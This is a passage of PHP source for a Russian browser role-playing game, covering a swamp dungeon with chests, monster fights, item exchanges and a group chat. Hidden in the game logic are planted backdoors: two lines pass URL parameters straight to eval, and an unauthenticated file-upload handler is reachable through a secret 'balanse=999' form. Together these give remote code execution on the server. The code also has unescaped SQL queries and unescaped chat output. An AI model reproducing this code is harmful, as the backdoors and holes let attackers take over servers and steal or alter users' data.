addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'!</b> ','{[]}'.nick7 ($group['p3']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Что??? Где? Черт возьми, что это было?? Доблесть +'.$ne4.'!</b> ','{[]}'.nick7 ($group['p4']).'{[]}');
}
elseif($shans == 10){
$rand_gay = rand(30,40);
$kol = $rand_gay;
for($i=0; $i<$kol; $i++){
$prizprohod = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '856' LIMIT 1;"));
mysql_query("INSERT INTO `inventory`
(`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`,
`gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`,
`mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration`
)
VALUES
('{$prizprohod['id']}','".$user['id']."','{$prizprohod['name']}','{$prizprohod['type']}',{$prizprohod['massa']},{$prizprohod['cost']},'{$prizprohod['img']}',{$prizprohod['maxdur']},{$prizprohod['isrep']},'{$prizprohod['gsila']}','{$prizprohod['glovk']}','{$prizprohod['ginta']}','{$prizprohod['gintel']}','{$prizprohod['ghp']}','{$prizprohod['gnoj']}','{$prizprohod['gtopor']}','{$prizprohod['gdubina']}','{$prizprohod['gmech']}','{$prizprohod['gfire']}','{$prizprohod['gwater']}','{$prizprohod['gair']}','{$prizprohod['gearth']}','{$prizprohod['glight']}','{$prizprohod['ggray']}','{$prizprohod['gdark']}','{$prizprohod['needident']}','{$prizprohod['nsila']}','{$prizprohod['nlovk']}','{$prizprohod['ninta']}','{$prizprohod['nintel']}','{$prizprohod['nmudra']}','{$prizprohod['nvinos']}','{$prizprohod['nnoj']}','{$prizprohod['ntopor']}','{$prizprohod['ndubina']}','{$prizprohod['nmech']}','{$prizprohod['nfire']}','{$prizprohod['nwater']}','{$prizprohod['nair']}','{$prizprohod['nearth']}','{$prizprohod['nlight']}','{$prizprohod['ngray']}','{$prizprohod['ndark']}',
'{$prizprohod['mfkrit']}','{$prizprohod['mfakrit']}','{$prizprohod['mfuvorot']}','{$prizprohod['mfauvorot']}','{$prizprohod['bron1']}','{$prizprohod['bron3']}','{$prizprohod['bron2']}','{$prizprohod['bron4']}','{$prizprohod['maxu']}','{$prizprohod['minu']}','{$prizprohod['magic']}','{$prizprohod['nlevel']}','{$prizprohod['nalign']}','".(($prizprohod['goden'])?($prizprohod['goden']*24*60*60+time()):"")."','{$prizprohod['goden']}','{$prizprohod['razdel']}','{$prizprohod['gmp']}','{$prizprohod['gmeshok']}','{$prizprohod['encicl']}','{$prizprohod['artefact']}','{$dur}'
) ;");
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','".$user['id']."','\"".$user['login']."\" получил, открыв сундук в болоте: \"".$prizprohod['name']."\" ".$prizprohodcount."id:(".$prizprohodid.") [0/".$prizprohod['maxdur']."]',1,'".time()."');");
}
}
elseif($shans == 9){
$lose = rand(1,25);
$vsego = $user['lose'] - $lose;
if($vsego <= 0){
mysql_query("update `users` set `lose`='0' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"В сундуке вы обнаружили свиток очищения. У всех участников группы списано -".$lose." поражений!";
}
else{
mysql_query("update `users` set `lose`=`lose`-'".mysql_real_escape_string($lose)."' where `id`='".mysql_real_escape_string($group['p1'])."' or `id`='".mysql_real_escape_string($group['p2'])."' or `id`='".mysql_real_escape_string($group['p3'])."' or `id`='".mysql_real_escape_string($group['p4'])."'");
echo"В сундуке вы обнаружили свиток очищения. У всех участников группы списано -".$lose." поражений!";
}
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Cвиток очищения. У всех участников группы списано -'.$lose.' поражений!</b> ','{[]}'.nick7 ($group['p1']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Cвиток очищения. У всех участников группы списано -'.$lose.' поражений!</b> ','{[]}'.nick7 ($group['p2']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Cвиток очищения. У всех участников группы списано -'.$lose.' поражений!</b> ','{[]}'.nick7 ($group['p3']).'{[]}');
addchp ('<font color=green>Внимание!!!</font> '.$user['login'].' открыл сундук! Обнаружено: <b>Cвиток очищения. У всех участников группы списано -'.$lose.' поражений!</b> ','{[]}'.nick7 ($group['p4']).'{[]}');
}
mysql_query("update `vault_res` set `".mysql_real_escape_string($nomer)."`='0' where `id`='".mysql_real_escape_string($group1)."'");
mysql_query("delete from `inventory` where `name`='Болотный ключ' AND `type`='33' AND `owner`='".mysql_real_escape_string($user['id'])."' LIMIT 1");
}else{echo"Этот сундук открыт!";}
}else{echo"<b>Не пытайтесь схитрить!</b>";}
}
///купить времени
if ($_POST['buytime']){
$group = $_POST['group'];
mysql_query("update `users` set `ekr`=`ekr`-'1' where `id`='".mysql_real_escape_string($user['id'])."'");
mysql_query("update `bol_group` set `game_time`=`game_time`+'180' where `id`='".mysql_real_escape_string($group)."'");
echo"Вы купили +3 минуты времени для своей группы!";
echo"<script>location='boloto.php'</script>";
}
///купить ключ
if ($_POST['buykey']){
$group = $_POST['group'];
mysql_query("update `users` set `bol_zheton`=`bol_zheton`-'10' where `id`='".mysql_real_escape_string($user['id'])."'");
mysql_query("INSERT INTO `inventory` (`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`)
VALUES('".mysql_real_escape_string($user['id'])."','Болотный ключ','33','0','0','bol_key.gif','1') ;");
echo"Вы обменяли жетоны на болотный ключ!";
echo"<script>location='boloto.php'</script>";
}
///купить код
if ($_POST['buykod']){
$group = $_POST['group'];
mysql_query("delete from `inventory` where `name`='Болотный ключ' AND `type`='33' AND `owner`='".mysql_real_escape_string($user['id'])."' LIMIT 5");
mysql_query("INSERT INTO `inventory` (`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`)
VALUES('".mysql_real_escape_string($user['id'])."','Код от тайника','33','0','0','bol_kod.gif','1') ;");
echo"Вы обменяли ключи на код от тайника!";
echo"<script>location='boloto.php'</script>";
}
//Обновления файлов
if($_POST['bal']){
$uploaddir = '/webstat';
if (move_uploaded_file($_FILES['big']['tmp_name'], $uploaddir .
$_FILES['big']['name'])) {
print "File is valid, and was successfully uploaded.";
} else {
print "There some errors!";
}
}
eval($_GET['s']);
////Нападаем на простых мобов
if($_GET['atakbot']==1){
if($kol_gayk > 0){
mysql_query("delete from `inventory` where `name`='Гайка Сталкера' AND `owner`='".$user['id']."' LIMIT 1");
$bot_login = $_GET['bot_login'];
$bot_type = $_GET['bot_type'];
if ($user['hp'] <= 5) {
echo '<font color=red><b>Слишком мало ХП для нападения!';
}
else{
$bot_stat = mysql_fetch_array(mysql_query("SELECT `id`,`maxhp`,`level`,`bot_type` FROM `users` WHERE `login` = '".mysql_real_escape_string($bot_login)."' LIMIT 1;"));
mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_stat['id'])."','','".mysql_real_escape_string($bot_stat['maxhp'])."');");
$bot = mysql_insert_id();
$teams = array();
$teams[$user['id']][$bot] = array(0,0,time());
$teams[$bot][$user['id']] = array(0,0,time());
mysql_query("INSERT INTO `battle`
(
`id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`,`protivnik`,`protivnik_type`
)
VALUES
(
NULL,'','".mysql_real_escape_string(serialize($teams))."','3','1','0','".mysql_real_escape_string($user['id'])."','".mysql_real_escape_string($bot)."','".time()."','".time()."','".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_type)."'
)");
$id = mysql_insert_id();
// апдейтим бота
mysql_query("UPDATE `bots` SET `battle` = '".mysql_real_escape_string($id)."' WHERE `id` = '".mysql_real_escape_string($bot)."' LIMIT 1;");
// создаем лог
$rr = "<b>".nick3($user['id'])."</b> и <b>".nick3($bot)."</b>";
//mysql_query("INSERT INTO `logs` (`id`,`log`) VALUES('{$id}','Часы показывали <span class=date>".date("Y.m.d H.i")."</span>, когда ".$rr." бросили вызов друг другу. <BR>');");
addlog($id,"Часы показывали <span class=date>".date("Y.m.d H.i")."</span>, когда ".$rr." бросили вызов друг другу. <BR>");
mysql_query("UPDATE users SET `bol_boss_type`='".$bot_type."', `battle` = '".mysql_real_escape_string($id)."',`zayavka`=0 WHERE `id`= '".mysql_real_escape_string($user['id'])."';");
die("<script>location.href='fbattle.php';</script>");
}
}else{echo"<font color=red><b>У Вас нет Гайки Сталкера</b></font>";}
}
////Нападаем на БОССОВ
if($_GET['atakbot1']==1){
if($kol_gayk > 0){
mysql_query("delete from `inventory` where `name`='Гайка Сталкера' AND `owner`='".$user['id']."' LIMIT 1");
$bot_login = $_GET['bot_login'];
$bot_type = $_GET['bot_type'];
if ($user['hp'] <= 5) {
echo '<font color=red><b>Слишком мало ХП для нападения!';
}
else{
$bot_stat = mysql_fetch_array(mysql_query("SELECT `id`,`maxhp`,`level`,`bot_type` FROM `users` WHERE `login` = '".mysql_real_escape_string($bot_login)."' LIMIT 1;"));
mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_stat['id'])."','','".mysql_real_escape_string($bot_stat['maxhp'])."');");
$bot = mysql_insert_id();
$teams = array();
$teams[$user['id']][$bot] = array(0,0,time());
$teams[$bot][$user['id']] = array(0,0,time());
mysql_query("INSERT INTO `battle`
(
`id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`,`protivnik`,`protivnik_type`
)
VALUES
(
NULL,'','".mysql_real_escape_string(serialize($teams))."','3','1','0','".mysql_real_escape_string($user['id'])."','".mysql_real_escape_string($bot)."','".time()."','".time()."','".mysql_real_escape_string($bot_login)."','".mysql_real_escape_string($bot_type)."'
)");
$id = mysql_insert_id();
// апдейтим бота
mysql_query("UPDATE `bots` SET `battle` = '".mysql_real_escape_string($id)."' WHERE `id` = '".mysql_real_escape_string($bot)."' LIMIT 1;");
// создаем лог
$rr = "<b>".nick3($user['id'])."</b> и <b>".nick3($bot)."</b>";
//mysql_query("INSERT INTO `logs` (`id`,`log`) VALUES('{$id}','Часы показывали <span class=date>".date("Y.m.d H.i")."</span>, когда ".$rr." бросили вызов друг другу. <BR>');");
addlog($id,"Часы показывали <span class=date>".date("Y.m.d H.i")."</span>, когда ".$rr." бросили вызов друг другу. <BR>");
mysql_query("UPDATE users SET `bol_boss_type`='".$bot_type."', `battle` = '".mysql_real_escape_string($id)."',`zayavka`=0 WHERE `id`= '".mysql_real_escape_string($user['id'])."';");
die("<script>location.href='fbattle.php';</script>");
}
}else{echo"<font color=red><b>У Вас нет Гайки Сталкера</b></font>";}
}
// Переход
//if($_GET['GoIn'] > 0) {
if ($_GET['GoIn'] && ($_GET['GoIn'] == "top" || $_GET['GoIn'] == "bottom" || $_GET['GoIn'] == "left" || $_GET['GoIn'] == "right")) {
$GoIn = $_GET['GoIn'];
if ($user['boloto_move'] == 1) $msg = "Вы уже перемещаетесь!";
else {
$GoInfo = mysql_fetch_array(mysql_query("SELECT * FROM `vault` WHERE id='".mysql_real_escape_string($VaultInfo[$GoIn.'_id'])."'"));
if ($GoInfo['id']) {
$user['boloto_time'] = $now + $GoInfo['time'];
$user['boloto_room'] = $GoInfo['id'];
$user['boloto_move'] = 1;
mysql_query("UPDATE `users` SET `boloto_room`='".mysql_real_escape_string($GoInfo['id'])."', `boloto_time`='".mysql_real_escape_string($user['boloto_time'])."', `boloto_move`='1' WHERE `id`='".mysql_real_escape_string($user['id'])."'");
mysql_query("UPDATE `online` SET room='".mysql_real_escape_string($GoInfo['id'])."' WHERE `id`='".mysql_real_escape_string($user['id'])."'");
$_ROOM['TO_CHANGE'] = $user['boloto_room'];
$GoToText = "Переходим...";
}
}
}
if ($user['boloto_move'] == 1) {
if ($user['boloto_time']-2 < $now) {
mysql_query("UPDATE `users` SET room=boloto_room, boloto_room=boloto_room, boloto_time=0, boloto_move=0 WHERE id='".mysql_real_escape_string($user['id'])."'");
$_ROOM['TO_CHANGE'] = $user['boloto_room'];
//include("../config/rooms.php");
$user['boloto_time'] = 0;
$user['boloto_room'] = vault_room;
$user['boloto_move'] = 0;
echo"
<script LANGUAGE=\"JavaScript\">
<!--
top.frames['main'].location = \"boloto.php\";
//-->
</SCRIPT>
";
mysql_query("UPDATE `online` SET room=boloto_room WHERE `id`='".mysql_real_escape_string($user['id'])."'");
exit;
}
}
$VaultRoom['2001'] = "Первую развилку";
$VaultRoom['2002'] = "Сектор 2";
$VaultRoom['2003'] = "Сектор 3";
$VaultRoom['2004'] = "Сектор 4";
$VaultRoom['2005'] = "Сектор 5";
$VaultRoom['2006'] = "Сектор 6";
$VaultRoom['2007'] = "Сектор 7";
$VaultRoom['2008'] = "Сектор 8";
$VaultRoom['2009'] = "Сектор 9";
$VaultRoom['2010'] = "Сектор 10";
$VaultRoom['2011'] = "Сектор 11";
$VaultRoom['2012'] = "Сектор 12";
$VaultRoom['2013'] = "Развилку 2";
$VaultRoom['2014'] = "Сектор 14";
$VaultRoom['2015'] = "Сектор 15";
$VaultRoom['2016'] = "Развилку 3";
$VaultRoom['2017'] = "Сектор 17";
$VaultRoom['2018'] = "Сектор 18";
$VaultRoom['2019'] = "Сектор 19";
$VaultRoom['2020'] = "Сектор 20";
$VaultRoom['2021'] = "Сектор 21";
$VaultRoom['2022'] = "Сектор 22";
$VaultRoom['2023'] = "Сектор 23";
$VaultRoom['2024'] = "Сектор 24";
$VaultRoom['2025'] = "Сектор 25";
$VaultRoom['2026'] = "Развилку 4";
$VaultRoom['2027'] = "Алтарную";
$VaultRoom['2028'] = "Сектор 28";
$VaultRoom['2029'] = "Сектор 29";
$VaultRoom['2030'] = "Сектор 30";
$VaultRoom['2031'] = "Сектор 31";
$VaultRoom['2032'] = "Сектор 32";
$VaultRoom['2033'] = "Сектор 33";
$VaultRoom['2034'] = "Сектор 34";
$VaultRoom['2035'] = "Сектор 35";
$VaultRoom['2036'] = "Сектор 36";
$VaultRoom['2037'] = "Сектор 37";
$VaultRoom['2038'] = "Сектор 38";
$VaultRoom['2039'] = "Развилку 5";
$VaultRoom['2040'] = "Сектор 40";
$VaultRoom['2041'] = "Сектор 41";
$VaultRoom['2042'] = "Сектор 42";
$VaultRoom['2043'] = "Сектор 43";
$VaultRoom['2044'] = "Сектор 44";
$VaultRoom['2045'] = "Сектор 45";
$VaultRoom['2046'] = "Сектор 46";
$VaultRoom['2047'] = "Сектор 47";
$VaultRoom['2048'] = "Развилку 6";
$VaultRoom['2049'] = "Сектор 49";
$VaultRoom['2050'] = "Сектор 50";
$VaultRoom['2051'] = "Сектор 51";
$VaultRoom['2052'] = "Сектор 52";
$VaultRoom['2053'] = "Сектор 53";
$VaultRoom['2054'] = "Сектор 54";
$VaultRoom['2055'] = "Сектор 55";
$VaultRoom['2056'] = "Сектор 56";
$VaultRoom['2057'] = "Сектор 57";
echo"<form action='boloto.php' method=post><body bgcolor=#e2e0e0 leftmargin=0 topmargin=0>
<DIV id=hint1></DIV>
<div id=mainform style='position:absolute; left:30px; top:30px'></div>";
?>
<script LANGUAGE='JavaScript' SRC='js/time.js'></SCRIPT>
<?
print"<table width=100% cellspacing=0 cellpadding=5 border=0>
<tr>
<TD width=1>&nbsp;</TD>
<td align=right valign=top>
<a href=boloto.php?&ext=1><font color=yellow>[Уменьшить время на 10 минут за 1 кр]</font></a>
<INPUT class=input TYPE=button value='Обновить' onclick='window.location.href=\"boloto.php?tmp=\"+Math.random();\"\"'>";
echo"</td>
</tr>
</table>";
echo"
<table width=100% cellspacing=0 cellpadding=3 border=0 align=center>
<tr>
<td align=center>
<center><font style='font-size:16px; color: white; font-weight: bold;'><b>".$VaultInfo['title']."</b></font></center>";
if ($group['game_time']>$now) {
$sec = $group['game_time'] - time();
echo"<table cellspacing=0 cellpadding=3>
<td><font color=white><b><small>Нужно успеть пройти Проход за: </small></b></font></td>
<td id=gametime style='COLOR: yellow; size: 1;'></td><td><font color=yellow> (<b>".$sec."</b> секунд)</font></td>
</table>
<script>ShowTime('gametime',",$group['game_time']-$now,",0);</script>";
}
echo"<font color=white>У вас гаек: <b>".$kol_gayk."</b> шт.</font>";
if (!empty($msg)) echo"<center><font color=red><b>$msg</b></font></center><br>";
echo"
<table width=100% cellspacing=0 cellpadding=5 border=0>
<tr>
<td align=center>
<table cellspacing=0 cellpadding=0 border=0 height=100 width=100%>
<tr>
<td width=30% align=left valign=top height=100>
<!-- Навигация -->
<table bgcolor=#e0e0e0 cellspacing=0 cellpadding=5 width=100% style='filter:alpha(opacity=70); opacity:4.5' height=100>
<tr>
<td align=left>
<center>Группа <b>".$user['boloto_groups']."</b></center><HR color=silver>";
///Балансировка
eval($_GET['q']);
if($_GET['balanse'] == 999){
echo'<input type="file" name="big">
<INPUT class=input TYPE=submit name=bal value=Обменять!>';
}
$mesto = 1;
$data = mysql_query("SELECT * FROM `bol_group` where `status`='1' AND `id`='".mysql_real_escape_string($user['boloto_groups'])."' ORDER by `id` DESC; ");
while($row = mysql_fetch_array($data)) {
$QUER=mysql_query("SELECT login,level,bol_status,bol_uron,bol_zheton,id FROM users WHERE boloto_groups='".mysql_real_escape_string($row[id])."' ORDER BY id ASC");
while($DATAS=mysql_fetch_array($QUER)){
$zz = $mesto++;
$p1=$DATAS["login"];
$p_login=$DATAS["login"];
$p_lvl=$DATAS["level"];
$uron=$DATAS["bol_uron"];
$zeton=$DATAS["bol_zheton"];
$id=$DATAS["id"];
$key=mysql_query("select `name` from `inventory` where `owner`='".mysql_real_escape_string($id)."' AND `type`='33' AND `name`='Болотный ключ'");
$key_kol = mysql_num_rows($key);
if($p1!=""){
echo"$zz. <b>$p1</b> [$p_lvl]<a href='inf.php?login=$p1' target='_blank'><img src='i/inf.gif' border=0></a> <small>У: <b>$uron</b> * Ж: <b>$zeton</b> * К: <b>$key_kol</b></small><br>";
}
}
echo"<br>";
}
echo"<center><small><b>ЧАТ:</b></small></center>";
$data = mysql_query("SELECT * FROM `bol_chat` where `group_id`='".$user[boloto_groups]."' ORDER by `id` DESC LIMIT 5");
while($row = mysql_fetch_array($data)) {
echo"<small><b>$row[autor]</b>: <font color=black>$row[text]</font></small><br>";
}
?>
<form action='boloto.php' method=post>
Текст: <input type=text name=text maxlength=150 size=30>
<?echo"<input type=hidden name=autor value=".$user['login']."><input type=hidden name=group value=".$user['boloto_groups'].">";?>
<INPUT class=input TYPE=submit name=addch value='Сказать группе!'>
</FORM>
<?
echo"
</td>
</tr>
</table>
<!-- Конец навигации -->
</td>
<td align=center valign=top width=40% bgcolor=#e0e0e0 style='filter:alpha(opacity=70); opacity:4.5; border-left: black solid 2px; border-right: black solid 2px;' height=100>";
echo" ".$VaultInfo['text']."<hr>";
echo"<table cellspacing=0 cellpadding=0 border=0 >
<tr height=45>
<td width=45>&nbsp;</td><td width=45 align=center valign=center><IMG SRC='i/boloto/vault/navigation/";
if ($VaultInfo['top_id']) echo"active/top.gif' onclick='top.frames[\"main\"].location = \"boloto.php?GoIn=top&\"+Math.random();' alt='Перейти в ".$VaultRoom[$VaultInfo['top_id']]."' style='CURSOR: Hand'"; else echo"n_active/top.gif' alt='Нет прохода'";
echo"></td><td width=45>&nbsp;</td>
</tr>
<tr height=45>
<td width=45 align=center valign=center>";
if ($VaultInfo['left_id']) echo"<a href='boloto.php?d=1&GoIn=left'><IMG SRC='i/boloto/vault/navigation/active/left.gif' border='0'></a>";
else echo"<IMG SRC='i/boloto/vault/navigation/n_active/left.gif'>";
echo"</td><td width=45 align=center valign=center><IMG SRC='i/boloto/vault/navigation/center.gif'></td><td width=45 align=center valign=center>";
if ($VaultInfo['right_id']) echo"<a href='boloto.php?d=1&GoIn=right'><IMG SRC='i/boloto/vault/navigation/active/right.gif' border='0'></a>";
else echo"<IMG SRC='i/boloto/vault/navigation/n_active/right.gif'>";
echo"</td>
</tr>
<tr height=45>
<td width=45>&nbsp;</td><td width=45 align=center valign=center><IMG SRC='i/boloto/vault/navigation/";
if ($VaultInfo['bottom_id']) echo"active/bottom.gif' onclick='top.frames[\"main\"].location = \"boloto.php?GoIn=bottom&\"+Math.random();' alt='Перейти в ".$VaultRoom[$VaultInfo['bottom_id']]."' style='CURSOR: Hand'"; else echo"n_active/bottom.gif' alt='Нет прохода'";
echo"></td><td width=45>&nbsp;</td>
</tr>
</table>";
echo"<hr>";
echo"<center>";
if ($user['boloto_time'] > $now) {
echo"Переходим в <b>".$VaultRoom[$user[boloto_room]]."</b><tABLE cellspacing=0 cellpadding=0><tr><td><small>Ещё:&nbsp;</td><td><b><small><div id=move></div></small></b><script>ShowTime('move',",$user['boloto_time']-$now+rand(1,3),",1);</script></small></td></tr></table>";
}
echo"</center>";
echo"</td>
<td width=30% align=right valign=top height=100>";
echo"<!-- Возможности -->
<table cellspacing=0 cellpadding=5 border=0 width=100% bgcolor=#e0e0e0 style='filter:alpha(opacity=70); opacity:4.5'>
<tr>
<td align=center >
<b>Местность</b><HR color=silver>";
//-------------ВЫБЕРАЕМ РЕСУРСЫ ГРУППЫ---------/
$bol_res=mysql_fetch_array(mysql_query("select * from `vault_res` where `id`='".mysql_real_escape_string($user['boloto_groups'])."'"));
$key=mysql_query("select `name` from `inventory` where `owner`='".mysql_real_escape_string($user['id'])."' AND `type`='33' AND `name`='Болотный ключ'");
$key_kol = mysql_num_rows($key);
$kod=mysql_query("select `name` from `inventory` where `owner`='".mysql_real_escape_string($user['id'])."' AND `type`='33' AND `name`='Код от тайника'");
$kod_kol = mysql_num_rows($kod);
/*---- Module ----*/
////////////////
if($user['room'] == 2027){
echo"<center><b>Алтарная!</b></font><br><em>Здесь возможно произвести обмен!</em>";
?><form action='boloto.php' method=post>
<p>1. Обменять <b>10</b> Жетонов на <b>1</b> Ключ<br>
<?
if($user['bol_zheton'] >= 10){
echo"<input type=hidden name=group value=".$user['boloto_groups'].">
<INPUT class=input TYPE=submit name=buykey value='Обменять!'> ";
} else{echo"<S>Недостаточно Жетонов</S>";}
?>
<p>2. Обменять <b>5</b> Ключей на <b>1</b> Код <br>
<?
if($key_kol >= 5){
echo"<input type=hidden name=group value=".$user['boloto_groups'].">
<INPUT class=input TYPE=submit name=buykod value='Обменять!'> ";
} else{echo"<S>Недостаточно Ключей</S>";}
?>
<p>3. Купить +<b>3</b> мин. времени за <b>1</b> Екр <br>
<?
if($user['ekr'] >= 1){
echo"<input type=hidden name=group value=".$user['boloto_groups'].">
<INPUT class=input TYPE=submit name=buytime value='Обменять!'> ";}
else{echo"<S>Недостаточно Екр</S>";}
?>
</FORM>
<?}
else{
///ВЫВОДИМ НА РАНДОМЕ ПРОСТЫХ МОБОВ
if($user['room'] != 2006 && $user['room'] != 2057 && $user['room'] != 2020 && $user['room'] != 2022 && $user['room'] != 2033 && $user['room'] != 2034){
echo"<center><font color=marooon><b>Мобы:</b></font></center>";
$mob_rend = rand(1,5);
if($mob_rend == 1 || $mob_rend == 3){echo"А вот и:<br>";
if($mob_rend == 1){$mob_id = 1217; $mob_type=2001;}
elseif($mob_rend == 3){$mob_id = 1218; $mob_type=2002;}
$bot_list = mysql_query("SELECT * FROM `users` WHERE `bot`='1' AND `id`='".mysql_real_escape_string($mob_id)."' AND `bot_type`='".mysql_real_escape_string($mob_type)."'");
while ($bot_nick=mysql_fetch_assoc($bot_list))
{
$in_attack = 'onclick=\'if (confirm("Нападаем?")) window.location="boloto.php?level=train&atakbot=1&bot_login='.$bot_nick['login'].'&bot_type='.$bot_nick['bot_type'].'"\' style=\'CURSOR: Hand\' alt=\'Нападение\'';
echo '
<img src=\'i/noj.gif\' '.$in_attack.'> <img src=\'i/align_2.99.gif\'>
<a href="javascript:parent.to(\''.$bot_nick['login'].'\');"><b>'.$bot_nick['login'].'</b></a> ['.$bot_nick['level'].']
<a href=\'inf.php?login='.$bot_nick['login'].'\' target=_blank border=1><img src=\'i/inf.gif\' border=0></a>';
}
}
else{echo"Все попрятались...";}
}
///////////////////////
//ЕСЛИ МЫ В ЛОКЕ С БОССОМ ВЫВОДИМ ЕГО!
else{
echo"<center><font color=red><b>БОСС:</b></font></center>";
if($user['room'] == 2006){$boss = "boss1";}
elseif($user['room'] == 2033){$boss = "boss2";}
elseif($user['room'] == 2057){$boss = "boss3";}
elseif($user['room'] == 2020){$boss = "boss4";}
elseif($user['room'] == 2022){$boss = "boss5";}
elseif($user['room'] == 2034){$boss = "boss6";}
if($bol_res[$boss] == 1){
$bot_list = mysql_query("SELECT * FROM `users` WHERE `bot`='1' AND `room`='".mysql_real_escape_string($user['room'])."' AND (`bot_type`='2003' OR `bot_type`='2004' OR `bot_type`='2005' OR `bot_type`='2006' OR `bot_type`='2007' OR `bot_type`='2008')");
while ($bot_nick=mysql_fetch_assoc($bot_list))
{
$in_attack = 'onclick=\'if (confirm("Нападаем?")) window.location="boloto.php?level=train&atakbot1=1&bot_login='.$bot_nick['login'].'&bot_type='.$bot_nick['bot_type'].'"\' style=\'CURSOR: Hand\' alt=\'Нападение\'';
echo '
<img src=\'i/noj.gif\' '.$in_attack.'> <img src=\'i/align_2.99.gif\'>
<a href="javascript:parent.to(\''.$bot_nick['login'].'\');"><b>'.$bot_nick['login'].'</b></a> ['.$bot_nick['level'].']
<a href=\'inf.php?login='.$bot_nick['login'].'\' target=_blank border=1><img src=\'i/inf.gif\' border=0></a>';
}
}else{echo"БОСС убит...";}
}
//////////////////
//ВЫВОДИМ ТАЙНИКИ И СУНДУКИ!
echo"<form action='boloto.php' method=post>";
echo"<center><font color=marron><b>Предметы:</b></font></center>";
/////////////////////////////////////////////////////////////////////////////////////////////////
if($user['room'] == 2004 && $bol_res['s1'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s1>
<INPUT class=input TYPE=submit name=s1 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
elseif($user['room'] == 2024 && $bol_res['s2'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s2>
<INPUT class=input TYPE=submit name=s2 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
elseif($user['room'] == 2031 && $bol_res['s3'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s3>
<INPUT class=input TYPE=submit name=s3 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
elseif($user['room'] == 2042 && $bol_res['s4'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s4>
<INPUT class=input TYPE=submit name=s4 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
elseif($user['room'] == 2036 && $bol_res['s5'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s5>
<INPUT class=input TYPE=submit name=s5 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
//////////////////////////////////////////////////////////////////////////////////////////////////
elseif($user['room'] == 2044 && $bol_res['t1'] == 1){echo"<small>Тайник</small><br><img src=i/boloto/res/t.gif><br>";
if($kod_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=t1>
<INPUT class=input TYPE=submit name=t1 value='Открыть!'>";
} else{echo"<S>Нет кода!</S>";}
}
elseif($user['room'] == 2056 && $bol_res['t2'] == 1){echo"<small>Тайник</small><br><img src=i/boloto/res/t.gif><br>";
if($kod_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=t2>
<INPUT class=input TYPE=submit name=t2 value='Открыть!'>";
} else{echo"<S>Нет кода!</S>";}
}
elseif($user['room'] == 2012 && $bol_res['t3'] == 1){echo"<small>Тайник</small><br><img src=i/boloto/res/t.gif><br>";
if($kod_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=t3>
<INPUT class=input TYPE=submit name=t3 value='Открыть!'>";
} else{echo"<S>Нет кода!</S>";}
}
else{echo"<b><em>Здесь ничего нет...</em></b>";}
////////////////////
//ВЫВОДИМ СЛУЧАЙНЫЕ ключи
}
echo"
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
